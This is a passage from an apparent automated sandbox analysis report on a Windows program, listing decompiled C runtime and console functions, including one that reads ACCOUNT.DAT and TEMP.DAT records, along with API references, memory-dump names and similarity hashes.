						L10:
						_t40 = 0;
					} else {
						_t18 =  *0xee2f60; // 0x0
						if(_t35 != 1 || ( *(_t18 + 0x84) & 0x00000001) == 0) {
							if(_t35 != 2 || ( *(_t18 + 0x44) & 0x00000001) == 0) {
								goto L8;
							} else {
								goto L7;
							}
						} else {
							L7:
							_t22 = E00ED0132(2);
							if(E00ED0132(1) == _t22) {
								goto L10;
							} else {
								L8:
								if(CloseHandle(E00ED0132(_t35)) != 0) {
									goto L10;
								} else {
									_t40 = GetLastError();
								}
							}
						}
					}
					E00ED00AC(_t35);
					 *((char*)( *((intOrPtr*)(0xee2f60 + (_t35 >> 5) * 4)) + ((_t35 & 0x0000001f) << 6) + 4)) = 0;
					if(_t40 == 0) {
						_t16 = 0;
					} else {
						_t16 = E00EC8EDE(_t40) | 0xffffffff;
					}
					return _t16;
				} else {
					return _t13 | 0xffffffff;
				}
			}

0x00ec8e26
0x00ec8e2d
0x00ec8e36
0x00ec8e43
0x00ec8e95
0x00ec8e95
0x00ec8e45
0x00ec8e45
0x00ec8e4d
0x00ec8e5b
0x00000000
0x00000000
0x00000000
0x00000000
0x00ec8e63
0x00ec8e63
0x00ec8e65
0x00ec8e77
0x00000000
0x00ec8e79
0x00ec8e79
0x00ec8e89
0x00000000
0x00ec8e8b
0x00ec8e91
0x00ec8e91
0x00ec8e89
0x00ec8e77
0x00ec8e4d
0x00ec8e98
0x00ec8eb0
0x00ec8eb7
0x00ec8ec5
0x00ec8eb9
0x00ec8ec0
0x00ec8ec0
0x00ec8eca
0x00ec8e2f
0x00ec8e33
0x00ec8e33

APIs

__ioinit.LIBCMT ref: 00EC8E26

Part of subcall function 00ECA5A7: InitOnceExecuteOnce.KERNEL32(00EE229C,00ECA5E2,00000000,00000000,00ED1205,?,?,00EC9886,00000000,?,?,?,00EC71AD,-00000020,00EDD7B8,0000000C), ref: 00ECA5B5

__get_osfhandle.LIBCMT ref: 00EC8E3A
__get_osfhandle.LIBCMT ref: 00EC8E65
__get_osfhandle.LIBCMT ref: 00EC8E6E
__get_osfhandle.LIBCMT ref: 00EC8E7A
CloseHandle.KERNEL32(00000000,00EC2656,00000000,?,00ED41AB,00EC2656,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EC8E81
GetLastError.KERNEL32(?,00ED41AB,00EC2656,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EC8E8B
__free_osfhnd.LIBCMT ref: 00EC8E98
__dosmaperr.LIBCMT ref: 00EC8EBA

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __get_osfhandle$Once$CloseErrorExecuteHandleInitLast__dosmaperr__free_osfhnd__ioinit
String ID:
API String ID: 974577687-0
Opcode ID: f2d62804644cdf75cf3b7aa16c0ee055cc50f5e3119979dce4fbb68d2ff9e849
Instruction ID: 7fd597e174a090a04a39404faefbf69692b4639f8d38af7ac06ba217a6c47568
Opcode Fuzzy Hash: f2d62804644cdf75cf3b7aa16c0ee055cc50f5e3119979dce4fbb68d2ff9e849
Instruction Fuzzy Hash: 2B1125326022641DD2242639AF49FBF77899F41738F29220EF918BB2C2DE669847C190

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3AB0, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 203COMMON

Download Yara Rule

APIs

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC3B48

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_fprintf.LIBCMT ref: 00EC3DA6

Strings

TEMP.DAT, xrefs: 00EC3AE2
ACCOUNT.DAT, xrefs: 00EC3ABE
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC3B3D
%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f, xrefs: 00EC3D9A

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __fsopen_fprintf_swscanf_vfscanf
String ID: %s %s %s %s %s %s %c %s %c %.2f %.2f %.2f$%s %s %s %s %s %s %c %s %c %f %f %f$ACCOUNT.DAT$TEMP.DAT
API String ID: 1563022539-2055742014
Opcode ID: b978ec320637335ae6856b9be3e4167bf67326e24bb24565557b1adedc1e933a
Instruction ID: 08fe7173428a1b65cefc973542725ca83ae5bb9d8c79c1595196651e70963be8
Opcode Fuzzy Hash: b978ec320637335ae6856b9be3e4167bf67326e24bb24565557b1adedc1e933a
Instruction Fuzzy Hash: F591F472D1054D9ECB09CFB8D991BEEFBB9FB49300F04826EE1067A191EA745685CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1380, Relevance: 10.6, APIs: 7, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00EC1380(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebp;
				intOrPtr _t61;
				intOrPtr _t67;
				void* _t75;
				intOrPtr _t87;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t102 = __esi;
				_t101 = __edi;
				E00EC12B0(_a4, _a8);
				_push(0xc9);
				_push("%c");
				E00EC715C(_t75, __edi, __esi, __eflags);
				_t104 = _t103 + 8;
				_v8 = _a4 + 1;
				while(1) {
					_t109 = _v8 - _a12 - 1;
					if(_v8 >= _a12 - 1) {
						break;
					}
					E00EC12B0(_v8, _a8);
					_push(0xcd);
					_push("%c");
					E00EC715C(_t75, _t101, _t102, _t109);
					_t104 = _t104 + 8;
					_v8 = _v8 + 1;
				}
				E00EC12B0(_v8, _a8);
				_push(0xbb);
				_push("%c");
				E00EC715C(_t75, _t101, _t102, __eflags);
				_t105 = _t104 + 8;
				_v12 = _a8 + 1;
				while(1) {
					__eflags = _v12 - _a16;
					if(__eflags >= 0) {
						break;
					}
					E00EC12B0(_a4, _v12);
					_v8 = _a4;
					while(1) {
						__eflags = _v8 - _a12;
						if(_v8 >= _a12) {
							break;
						}
						__eflags = _v8 - _a4;
						if(__eflags == 0) {
							L12:
							E00EC12B0(_v8, _v12);
							_push(0xba);
							_push("%c");
							E00EC715C(_t75, _t101, _t102, __eflags);
							_t105 = _t105 + 8;
						} else {
							__eflags = _v8 - _a12 - 1;
							if(__eflags == 0) {
								goto L12;
							}
						}
						_t67 = _v8 + 1;
						__eflags = _t67;
						_v8 = _t67;
					}
					_t87 = _v12 + 1;
					__eflags = _t87;
					_v12 = _t87;
				}
				E00EC12B0(_a4, _v12);
				_push(0xc8);
				_push("%c");
				E00EC715C(_t75, _t101, _t102, __eflags);
				_t106 = _t105 + 8;
				_v8 = _a4 + 1;
				while(1) {
					__eflags = _v8 - _a12 - 1;
					if(__eflags >= 0) {
						break;
					}
					E00EC12B0(_v8, _v12);
					_push(0xcd);
					_push("%c");
					E00EC715C(_t75, _t101, _t102, __eflags);
					_t106 = _t106 + 8;
					_t61 = _v8 + 1;
					__eflags = _t61;
					_v8 = _t61;
				}
				E00EC12B0(_v8, _v12);
				_push(0xbc);
				_push("%c");
				return E00EC715C(_t75, _t101, _t102, __eflags);
			}

0x00ec1380
0x00ec1380
0x00ec138e
0x00ec1393
0x00ec1398
0x00ec139d
0x00ec13a2
0x00ec13ab
0x00ec13b9
0x00ec13bf
0x00ec13c2
0x00000000
0x00000000
0x00ec13cc
0x00ec13d1
0x00ec13d6
0x00ec13db
0x00ec13e0
0x00ec13b6
0x00ec13b6
0x00ec13ed
0x00ec13f2
0x00ec13f7
0x00ec13fc
0x00ec1401
0x00ec140a
0x00ec1418
0x00ec141b
0x00ec141e
0x00000000
0x00000000
0x00ec1428
0x00ec1430
0x00ec143e
0x00ec1441
0x00ec1444
0x00000000
0x00000000
0x00ec1449
0x00ec144c
0x00ec1459
0x00ec1461
0x00ec1466
0x00ec146b
0x00ec1470
0x00ec1475
0x00ec144e
0x00ec1454
0x00ec1457
0x00000000
0x00000000
0x00ec1457
0x00ec1438
0x00ec1438
0x00ec143b
0x00ec143b
0x00ec1412
0x00ec1412
0x00ec1415
0x00ec1415
0x00ec1484
0x00ec1489
0x00ec148e
0x00ec1493
0x00ec1498
0x00ec14a1
0x00ec14af
0x00ec14b5
0x00ec14b8
0x00000000
0x00000000
0x00ec14c2
0x00ec14c7
0x00ec14cc
0x00ec14d1
0x00ec14d6
0x00ec14a9
0x00ec14a9
0x00ec14ac
0x00ec14ac
0x00ec14e3
0x00ec14e8
0x00ec14ed
0x00ec14fd

APIs

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC139D
_wprintf.LIBCMT ref: 00EC13DB

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC13FC
_wprintf.LIBCMT ref: 00EC1470
_wprintf.LIBCMT ref: 00EC1493
_wprintf.LIBCMT ref: 00EC14D1
_wprintf.LIBCMT ref: 00EC14F2

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf
String ID:
API String ID: 1778593935-0
Opcode ID: c7cd74fafd4ce0d3e47d5bb1e3dd0474137667bdf1dedd7aab96ed7998f199c8
Instruction ID: ec0140a2836e5a28c3c4c9d95fbacaf8ddd9e859d07614b8a32617c99f170225
Opcode Fuzzy Hash: c7cd74fafd4ce0d3e47d5bb1e3dd0474137667bdf1dedd7aab96ed7998f199c8
Instruction Fuzzy Hash: 55415175A11208FBCB08DF98CA41F9D77B5BF46304F20919DF906BB342D632AA12AB55

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD6D2, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00ECD6D2(void* __ebx, void* __edi) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00EC75FE(_t3);
				if(E00ECBF8E() != 0) {
					_t6 = E00ECBFD8(_t5, E00ECD468);
					 *0xee1a40 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00ECC55B(1, 0x3b8);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00ECD748();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00ECC002(_t9,  *0xee1a40, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00ECD626(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00ECD748();
					return 0;
				}
			}

0x00ecd6d2
0x00ecd6de
0x00ecd6ed
0x00ecd6f3
0x00ecd6f8
0x00ecd6fb
0x00000000
0x00ecd6fd
0x00ecd70a
0x00ecd70e
0x00ecd710
0x00ecd73f
0x00ecd73f
0x00ecd744
0x00ecd747
0x00ecd712
0x00ecd720
0x00ecd722
0x00000000
0x00ecd724
0x00ecd724
0x00ecd726
0x00ecd727
0x00ecd72e
0x00ecd734
0x00ecd738
0x00ecd73c
0x00ecd73e
0x00ecd73e
0x00ecd722
0x00ecd710
0x00ecd6e0
0x00ecd6e0
0x00ecd6e0
0x00ecd6e7
0x00ecd6e7

APIs

__init_pointers.LIBCMT ref: 00ECD6D2

Part of subcall function 00EC75FE: EncodePointer.KERNEL32(00000000,?,00ECD6D7,00EC892B,00EDD838,00000014), ref: 00EC7601
Part of subcall function 00EC75FE: __initp_misc_winsig.LIBCMT ref: 00EC7622

__mtinitlocks.LIBCMT ref: 00ECD6D7

Part of subcall function 00ECBF8E: InitializeCriticalSectionAndSpinCount.KERNEL32(00EE13D0,00000FA0,?,?,00ECD6DC,00EC892B,00EDD838,00000014), ref: 00ECBFAC

__mtterm.LIBCMT ref: 00ECD6E0
__calloc_crt.LIBCMT ref: 00ECD705
__initptd.LIBCMT ref: 00ECD727
GetCurrentThreadId.KERNEL32 ref: 00ECD72E

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalCurrentEncodeInitializePointerSectionSpinThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm
String ID:
API String ID: 2211675822-0
Opcode ID: b7f599fd0cda979cdfd992d1fa8f5f29d22e24b1102c652b3bf8648fd3625686
Instruction ID: 5a69f14d6092a960c0d4af1bf30a8f8344c81ff7bec6bd26fc61ce900435a31d
Opcode Fuzzy Hash: b7f599fd0cda979cdfd992d1fa8f5f29d22e24b1102c652b3bf8648fd3625686
Instruction Fuzzy Hash: 51F0C23220E3111AE2243B387E03F5A66D48B01370B20263EF469FA1D1EF3388438554

Uniqueness

Uniqueness Score: -1.00%

Function 00ECBB6C, Relevance: 9.1, APIs: 6, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00ECBB6C(void* __eflags, signed char _a4, signed int* _a8) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t43;
				signed int _t44;
				signed int _t45;
				signed int _t48;
				signed int _t52;
				void* _t60;
				signed int _t62;
				void* _t64;
				signed int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				void* _t77;
				signed int _t85;
				void* _t86;
				signed int _t87;
				signed int _t89;
				signed int* _t92;

				_t44 = E00ECA5A7(_t43);
				if(_t44 >= 0) {
					_t92 = _a8;
					_t45 = E00EC8BB2(_t92);
					_t74 = _t92[3];
					_t89 = _t45;
					__eflags = _t74 & 0x00000082;
					if(__eflags != 0) {
						__eflags = _t74 & 0x00000040;
						if(__eflags == 0) {
							_t70 = 0;
							__eflags = _t74 & 0x00000001;
							if((_t74 & 0x00000001) == 0) {
								L10:
								_t48 = _t92[3] & 0xffffffef | 0x00000002;
								_t92[3] = _t48;
								_t92[1] = _t70;
								__eflags = _t48 & 0x0000010c;
								if((_t48 & 0x0000010c) == 0) {
									_t60 = E00EC8C70();
									__eflags = _t92 - _t60 + 0x20;
									if(_t92 == _t60 + 0x20) {
										L13:
										_t62 = E00ED11E7(_t89);
										__eflags = _t62;
										if(_t62 == 0) {
											goto L14;
										}
									} else {
										_t64 = E00EC8C70();
										__eflags = _t92 - _t64 + 0x40;
										if(_t92 != _t64 + 0x40) {
											L14:
											E00ED192E(_t92);
										} else {
											goto L13;
										}
									}
								}
								__eflags = _t92[3] & 0x00000108;
								if((_t92[3] & 0x00000108) == 0) {
									__eflags = 1;
									_push(1);
									_v8 = 1;
									_push( &_a4);
									_push(_t89);
									_t45 = E00ED0343(_t70, _t86, _t89, _t92, 1);
									_t70 = _t45;
									goto L27;
								} else {
									_t87 = _t92[2];
									_t25 = _t87 + 1; // 0x1a06
									 *_t92 = _t25;
									_t76 =  *_t92 - _t87;
									_v8 = _t76;
									_t92[1] = _t92[6] - 1;
									__eflags = _t76;
									if(__eflags <= 0) {
										__eflags = _t89 - 0xffffffff;
										if(_t89 == 0xffffffff) {
											L22:
											_t77 = 0xee1390;
										} else {
											__eflags = _t89 - 0xfffffffe;
											if(_t89 == 0xfffffffe) {
												goto L22;
											} else {
												_t77 = ((_t89 & 0x0000001f) << 6) +  *((intOrPtr*)(0xee2f60 + (_t89 >> 5) * 4));
											}
										}
										__eflags =  *(_t77 + 4) & 0x00000020;
										if(__eflags == 0) {
											goto L25;
										} else {
											_push(2);
											_push(_t70);
											_push(_t70);
											_push(_t89);
											_t45 = E00ED17B4(_t70, _t89, _t92, __eflags) & _t87;
											__eflags = _t45 - 0xffffffff;
											if(_t45 == 0xffffffff) {
												goto L28;
											} else {
												goto L25;
											}
										}
									} else {
										_push(_t76);
										_push(_t87);
										_push(_t89);
										_t70 = E00ED0343(_t70, _t87, _t89, _t92, __eflags);
										L25:
										_t45 = _a4;
										 *(_t92[2]) = _t45;
										L27:
										__eflags = _t70 - _v8;
										if(_t70 == _v8) {
											_t52 = _a4 & 0x000000ff;
										} else {
											L28:
											_t40 =  &(_t92[3]);
											 *_t40 = _t92[3] | 0x00000020;
											__eflags =  *_t40;
											goto L29;
										}
									}
								}
							} else {
								_t92[1] = 0;
								__eflags = _t74 & 0x00000010;
								if((_t74 & 0x00000010) == 0) {
									_t92[3] = _t74 | 0x00000020;
									L29:
									_t52 = _t45 | 0xffffffff;
								} else {
									_t85 = _t74 & 0xfffffffe;
									__eflags = _t85;
									 *_t92 = _t92[2];
									_t92[3] = _t85;
									goto L10;
								}
							}
						} else {
							_t67 = E00EC8EFF(__eflags);
							 *_t67 = 0x22;
							goto L6;
						}
					} else {
						_t67 = E00EC8EFF(__eflags);
						 *_t67 = 9;
						L6:
						_t92[3] = _t92[3] | 0x00000020;
						_t52 = _t67 | 0xffffffff;
					}
					return _t52;
				} else {
					return _t44 | 0xffffffff;
				}
			}

0x00ecbb70
0x00ecbb77
0x00ecbb7f
0x00ecbb84
0x00ecbb8a
0x00ecbb8d
0x00ecbb8f
0x00ecbb92
0x00ecbba1
0x00ecbba4
0x00ecbbbe
0x00ecbbc0
0x00ecbbc3
0x00ecbbd8
0x00ecbbde
0x00ecbbe1
0x00ecbbe4
0x00ecbbe7
0x00ecbbec
0x00ecbbee
0x00ecbbf6
0x00ecbbf8
0x00ecbc06
0x00ecbc07
0x00ecbc0d
0x00ecbc0f
0x00000000
0x00000000
0x00ecbbfa
0x00ecbbfa
0x00ecbc02
0x00ecbc04
0x00ecbc11
0x00ecbc12
0x00000000
0x00000000
0x00000000
0x00ecbc04
0x00ecbbf8
0x00ecbc18
0x00ecbc1f
0x00ecbc9d
0x00ecbc9e
0x00ecbc9f
0x00ecbca5
0x00ecbca6
0x00ecbca7
0x00ecbcaf
0x00000000
0x00ecbc21
0x00ecbc21
0x00ecbc26
0x00ecbc29
0x00ecbc2e
0x00ecbc31
0x00ecbc34
0x00ecbc37
0x00ecbc39
0x00ecbc52
0x00ecbc55
0x00ecbc72
0x00ecbc72
0x00ecbc57
0x00ecbc57
0x00ecbc5a
0x00000000
0x00ecbc5c
0x00ecbc69
0x00ecbc69
0x00ecbc5a
0x00ecbc77
0x00ecbc7b
0x00000000
0x00ecbc7d
0x00ecbc7d
0x00ecbc7f
0x00ecbc80
0x00ecbc81
0x00ecbc87
0x00ecbc8c
0x00ecbc8f
0x00000000
0x00000000
0x00000000
0x00000000
0x00ecbc8f
0x00ecbc3b
0x00ecbc3b
0x00ecbc3c
0x00ecbc3d
0x00ecbc46
0x00ecbc91
0x00ecbc94
0x00ecbc97
0x00ecbcb1
0x00ecbcb1
0x00ecbcb4
0x00ecbcbf
0x00ecbcb6
0x00ecbcb6
0x00ecbcb6
0x00ecbcb6
0x00ecbcb6
0x00000000
0x00ecbcb6
0x00ecbcb4
0x00ecbc39
0x00ecbbc5
0x00ecbbc5
0x00ecbbc8
0x00ecbbcb
0x00ecbc4d
0x00ecbcba
0x00ecbcba
0x00ecbbcd
0x00ecbbd0
0x00ecbbd0
0x00ecbbd3
0x00ecbbd5
0x00000000
0x00ecbbd5
0x00ecbbcb
0x00ecbba6
0x00ecbba6
0x00ecbbab
0x00000000
0x00ecbbab
0x00ecbb94
0x00ecbb94
0x00ecbb99
0x00ecbbb1
0x00ecbbb1
0x00ecbbb5
0x00ecbbb5
0x00ecbcc7
0x00ecbb79
0x00ecbb7d
0x00ecbb7d

APIs

__ioinit.LIBCMT ref: 00ECBB70

Part of subcall function 00ECA5A7: InitOnceExecuteOnce.KERNEL32(00EE229C,00ECA5E2,00000000,00000000,00ED1205,?,?,00EC9886,00000000,?,?,?,00EC71AD,-00000020,00EDD7B8,0000000C), ref: 00ECA5B5

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ExecuteInit__ioinit
String ID:
API String ID: 129814473-0
Opcode ID: 4dc112ebb65ddcc9d8c5cc8dde695addb59126f12e9be86db46a291a91ff8529
Instruction ID: f92920e30e32cf53139f3396a48405d4576672f2e422609d532fe545d60f46ba
Opcode Fuzzy Hash: 4dc112ebb65ddcc9d8c5cc8dde695addb59126f12e9be86db46a291a91ff8529
Instruction Fuzzy Hash: 6741E171500A049ED7249F28CA93FBAB7E4DF41338F14961DE4A6A62D1DB76D8428B50

Uniqueness

Uniqueness Score: -1.00%

Function 00ED1D26, Relevance: 7.6, APIs: 5, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00ED1D26(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0xee2a68, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0xee2a64 - _t7;
								if(__eflags == 0) {
									_t9 = E00EC8EFF(__eflags);
									 *_t9 = E00EC8F12(GetLastError());
									goto L17;
								} else {
									__eflags = E00ECC6EE(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E00EC8EFF(__eflags);
										 *_t12 = E00EC8F12(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00ECC6EE(_t6, _t31);
						 *((intOrPtr*)(E00EC8EFF(__eflags))) = 0xc;
						goto L12;
					} else {
						E00EC8F53(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00EC77C5(__ebx, __edx, __edi, _a8);
				}
			}

0x00ed1d2d
0x00ed1d3b
0x00ed1d3e
0x00ed1d40
0x00ed1d4f
0x00ed1d82
0x00ed1d82
0x00ed1d85
0x00000000
0x00000000
0x00ed1d52
0x00ed1d54
0x00ed1d56
0x00ed1d56
0x00ed1d56
0x00ed1d63
0x00ed1d69
0x00ed1d6b
0x00ed1d6d
0x00ed1dcd
0x00ed1dcd
0x00ed1d6f
0x00ed1d6f
0x00ed1d75
0x00ed1db7
0x00ed1dcb
0x00000000
0x00ed1d77
0x00ed1d7e
0x00ed1d80
0x00ed1d9f
0x00ed1db3
0x00ed1d99
0x00ed1d99
0x00ed1d99
0x00000000
0x00000000
0x00000000
0x00ed1d80
0x00ed1d75
0x00000000
0x00ed1d9b
0x00ed1d88
0x00ed1d93
0x00000000
0x00ed1d42
0x00ed1d45
0x00ed1d4b
0x00ed1d4b
0x00ed1d9c
0x00ed1d9e
0x00ed1d2f
0x00ed1d39
0x00ed1d39

APIs

_malloc.LIBCMT ref: 00ED1D32

Part of subcall function 00EC77C5: __FF_MSGBANNER.LIBCMT ref: 00EC77DC
Part of subcall function 00EC77C5: __NMSG_WRITE.LIBCMT ref: 00EC77E3
Part of subcall function 00EC77C5: HeapAlloc.KERNEL32(00FC0000,00000000,00000001,00000000,00000000,00000000,?,00ECC5BB,00000000,00000000,00000000,00000000,?,00ECBF28,00000018,00EDD900), ref: 00EC7808

_free.LIBCMT ref: 00ED1D45

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 6443b7078ba0f193fb823e412d80cedef249467e33d448bc0ca82f1aae17c9f2
Instruction ID: 1012deea6c01caa1d64a1f9ac0e11a1d829ad664c86c43971a21c8f7bd25561c
Opcode Fuzzy Hash: 6443b7078ba0f193fb823e412d80cedef249467e33d448bc0ca82f1aae17c9f2
Instruction Fuzzy Hash: 2011C431505215BFDB203F75AF04B9937DADB00365B20646FF949BA291DF3188468690

Uniqueness

Uniqueness Score: -1.00%

Function 00EC857D, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00EC860D

Part of subcall function 00ECE840: __87except.LIBCMT ref: 00ECE87B

Strings

pow, xrefs: 00EC85E5, 00EC8602

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 54ed00c6223b8cc6cd2325fe5e5d9c6ff8b8792e60a6f2a088449db73c361065
Instruction ID: 72e6efaaea69c52266719fb425e3c6de5fc5d1ccfc4883048b88db96a9a18720
Opcode Fuzzy Hash: 54ed00c6223b8cc6cd2325fe5e5d9c6ff8b8792e60a6f2a088449db73c361065
Instruction Fuzzy Hash: DB518C21A0820286CB15B714CB01FBA6BD0DB80754F246DAEF4D5B23E5EF37CC979A46

Uniqueness

Uniqueness Score: -1.00%

Function 00EC347B, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00EC347B(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t218;
				void* _t228;
				void* _t249;
				void* _t270;
				void* _t283;
				void* _t287;
				void* _t306;
				intOrPtr _t307;
				void* _t309;
				intOrPtr _t310;
				void* _t313;
				void* _t314;
				intOrPtr _t320;
				void* _t336;
				intOrPtr _t364;
				void* _t371;
				intOrPtr _t394;
				void* _t397;
				void* _t421;
				void* _t433;
				void* _t435;
